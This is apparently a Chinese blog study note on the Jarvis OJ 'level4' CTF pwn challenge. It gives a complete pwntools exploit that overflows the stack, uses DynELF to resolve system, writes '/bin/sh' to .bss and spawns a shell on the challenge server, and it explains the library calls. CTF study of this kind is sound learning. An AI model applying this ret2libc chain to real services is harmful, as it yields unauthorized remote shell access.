Jarvis Oj Pwn 学习笔记-level4
没有libc?!DynELF了解一下
来,链接:
https://files.cnblogs.com/files/Magpie/level4.rar
nc pwn2.jarvisoj.com 9880
我抽着差不多的烟,又check差不多的sec:
扔进IDA:
和level3差不多,只是这道题没有提供libc
这道题其实主要就是学一下pwntools的一个工具,没有什么原理上的新东西
所以我们直接给出exp,然后讲一下exp就好了:
1 from pwn import * 2 context(arch = 'i386', os = 'linux') 3 r = remote('pwn2.jarvisoj.com', 9880) 4 e=ELF('./level4') 5 junk='A'*(0x88+0x04) 6 read_plt=e.symbols['read'] 7 write_plt=e.symbols['write'] 8 data_bss_addr=e.symbols['__bss_start'] 9 func_reload_addr=e.symbols['vulnerable_function'] 10 def leak(address): 11 payload1=junk+p32(write_plt)+p32(func_reload_addr)+p32(0x01)+p32(address)+p32(0x04) 12 r.sendline(payload1) 13 leak_addr=r.recv(4) 14 return leak_addr 15 d=DynELF(leak,elf=e) 16 system_addr=d.lookup('system','libc') 17 payload2=junk+p32(read_plt)+p32(func_reload_addr)+p32(0x00)+p32(data_bss_addr)+p32(0x08) 18 r.sendline(payload2) 19 r.send('/bin/sh\x00') 20 payload3=junk+p32(system_addr)+p32(func_reload_addr)+p32(data_bss_addr) 21 r.send(payload3) 22 r.interactive()
1.ELF函数:创建并返回一个elf文件的内存映射对象
2.symbols函数:可以看作elf对象的一个方法,按关键字搜索地址
3.DynELF函数:核心函数,第一个参数是一个函数指针,指向一个规范内存泄露函数leak;第二个参数(可选)是一个elf对象,有了它可以使效率更高
DynELF函数具析:
通过配合调用leak分析其泄露值以及分析传入的elf对象,可以从进程中自动地resolve出所有的函数、数据地址,存储在一个vector向量数组中并返回这个向量数组
4.lookup函数:可看作向量数组对象的一个方法,按传入的索引项,搜索相应项值,得到服务器端的真实system地址
#payload2:劫持到read函数,将命令字符串'/bin/sh'写到bss段以作参数调用的地址
通过这段exp就可以拿到shell了,遗留一个问题:lookup找不到/bin/sh的地址,不知具体是个什么原因。可能上面的说法有一个错误:DynELF函数可能并无法泄露数据的地址。
留待日后填......